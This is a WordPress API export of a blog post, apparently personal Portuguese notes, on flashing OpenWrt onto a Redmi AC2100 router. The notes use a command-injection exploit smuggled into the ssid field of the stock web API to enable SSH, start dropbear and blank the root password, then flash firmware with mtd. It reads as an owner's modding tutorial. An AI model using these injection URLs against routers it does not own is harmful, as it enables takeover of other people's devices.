{"id":3378,"date":"2021-02-27T17:07:22","date_gmt":"2021-02-27T20:07:22","guid":{"rendered":"http:\/\/roberval.com.br\/roberval\/?p=3378"},"modified":"2021-02-27T17:07:22","modified_gmt":"2021-02-27T20:07:22","slug":"3378","status":"publish","type":"post","link":"https:\/\/roberval.com.br\/roberval\/2021\/02\/3378\/","title":{"rendered":""},"content":{"rendered":"<p><iframe loading=\"lazy\" title=\"[John] Redmi AC2100 OpenWrt installation (web exploit)\" width=\"580\" height=\"326\" src=\"https:\/\/www.youtube.com\/embed\/d3km5n-d4io?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p class=\"p1\"><span class=\"s1\">(nvram set ssh_en=1;nvram commit)<\/span><span class=\"s2\"><br \/>\n<\/span><span class=\"s3\">http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=1c249158807034e4341dfdc1ad7b365d\/api\/misystem\/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">(sed -i &#8216;s\/channel=.*\/channel=&#8221;debug&#8221;\/g&#8217; \/etc\/init.d\/dropbear)<\/span><span class=\"s2\"><br \/>\n<\/span><span class=\"s3\">http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=1c249158807034e4341dfdc1ad7b365d\/api\/misystem\/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3Bsed%20-i%20&#8217;s\/channel=.*\/channel=%5C%22debug%5C%22\/g&#8217;%20\/etc\/init.d\/dropbear%3B<\/span><\/p>\n<p class=\"p1\"><span class=\"s1\">(\/etc\/init.d\/dropbear start)<\/span><span class=\"s2\"><br \/>\n<\/span><span class=\"s3\">http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=1c249158807034e4341dfdc1ad7b365d\/api\/misystem\/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3B\/etc\/init.d\/dropbear%20start%3B<\/span><\/p>\n<p class=\"p3\"><span class=\"s4\">http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=<\/span><span class=\"s5\">1c249158807034e4341dfdc1ad7b365d<\/span><span class=\"s4\">\/api\/misystem\/set_config_iotdev?bssid=gallifrey&amp;user_id=doctor&amp;ssid=-h%0Aecho%20-e%20%27%5Cn%27%20%7C%20passwd%20root%0A<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>No note subir o http server para baixar as imagens para o roteador<\/p>\n<p>sudo python -m SimpleHTTPServer<\/p>\n<p>ssh root@<span class=\"s4\">192.168.31.1<\/span><\/p>\n<p class=\"p4\"><span class=\"s4\">cd \/tmp<\/span><\/p>\n<p class=\"p4\"><span class=\"s4\">wget http:\/\/192.168.31.128:8000\/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin<\/span><\/p>\n<p class=\"p4\"><span class=\"s4\">wget http:\/\/192.168.31.128:8000\/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin<\/span><\/p>\n<p class=\"p4\"><span class=\"s4\">mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0<\/span><\/p>\n<p class=\"p4\"><span class=\"s4\">mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1<\/span><\/p>\n<p>&nbsp;<\/p>\n<p class=\"p4\"><span class=\"s4\">nvram set uart_en=1<\/span><\/p>\n<p class=\"p4\"><span class=\"s4\">nvram set bootdelay=5<\/span><\/p>\n<p class=\"p5\"><span class=\"s4\">nvram set flag_try_sys1_failed=1<\/span><\/p>\n<p class=\"p5\"><span class=\"s4\">nvram commit<\/span><\/p>\n<p class=\"p5\"><span class=\"s4\">reboot<\/span><\/p>\n<p>pelo cabo ethernet<\/p>\n<p>ssh root@<span class=\"s4\">192.168.1.1<\/span><\/p>\n<p class=\"p3\"><span class=\"s4\">opkg update<\/span><\/p>\n<p class=\"p3\"><span class=\"s4\">opkg <\/span><span class=\"s6\"><b>install<\/b><\/span><span class=\"s4\"> luci<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>(nvram set ssh_en=1;nvram commit) http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=1c249158807034e4341dfdc1ad7b365d\/api\/misystem\/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B (sed -i &#8216;s\/channel=.*\/channel=&#8221;debug&#8221;\/g&#8217; \/etc\/init.d\/dropbear) http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=1c249158807034e4341dfdc1ad7b365d\/api\/misystem\/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3Bsed%20-i%20&#8217;s\/channel=.*\/channel=%5C%22debug%5C%22\/g&#8217;%20\/etc\/init.d\/dropbear%3B (\/etc\/init.d\/dropbear start) http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=1c249158807034e4341dfdc1ad7b365d\/api\/misystem\/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3B\/etc\/init.d\/dropbear%20start%3B http:\/\/192.168.31.1\/cgi-bin\/luci\/;stok=1c249158807034e4341dfdc1ad7b365d\/api\/misystem\/set_config_iotdev?bssid=gallifrey&amp;user_id=doctor&amp;ssid=-h%0Aecho%20-e%20%27%5Cn%27%20%7C%20passwd%20root%0A &nbsp; No note subir o http server para baixar as imagens para o roteador sudo python -m SimpleHTTPServer ssh root@192.168.31.1 cd \/tmp wget http:\/\/192.168.31.128:8000\/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin wget http:\/\/192.168.31.128:8000\/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0 mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1 &nbsp; nvram set uart_en=1 nvram set bootdelay=5 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-3378","post","type-post","status-publish","format-standard","hentry","category-great-stuff"],"_links":{"self":[{"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/posts\/3378","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/comments?post=3378"}],"version-history":[{"count":1,"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/posts\/3378\/revisions"}],"predecessor-version":[{"id":3379,"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/posts\/3378\/revisions\/3379"}],"wp:attachment":[{"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/media?parent=3378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/categories?post=3378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/roberval.com.br\/roberval\/wp-json\/wp\/v2\/tags?post=3378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}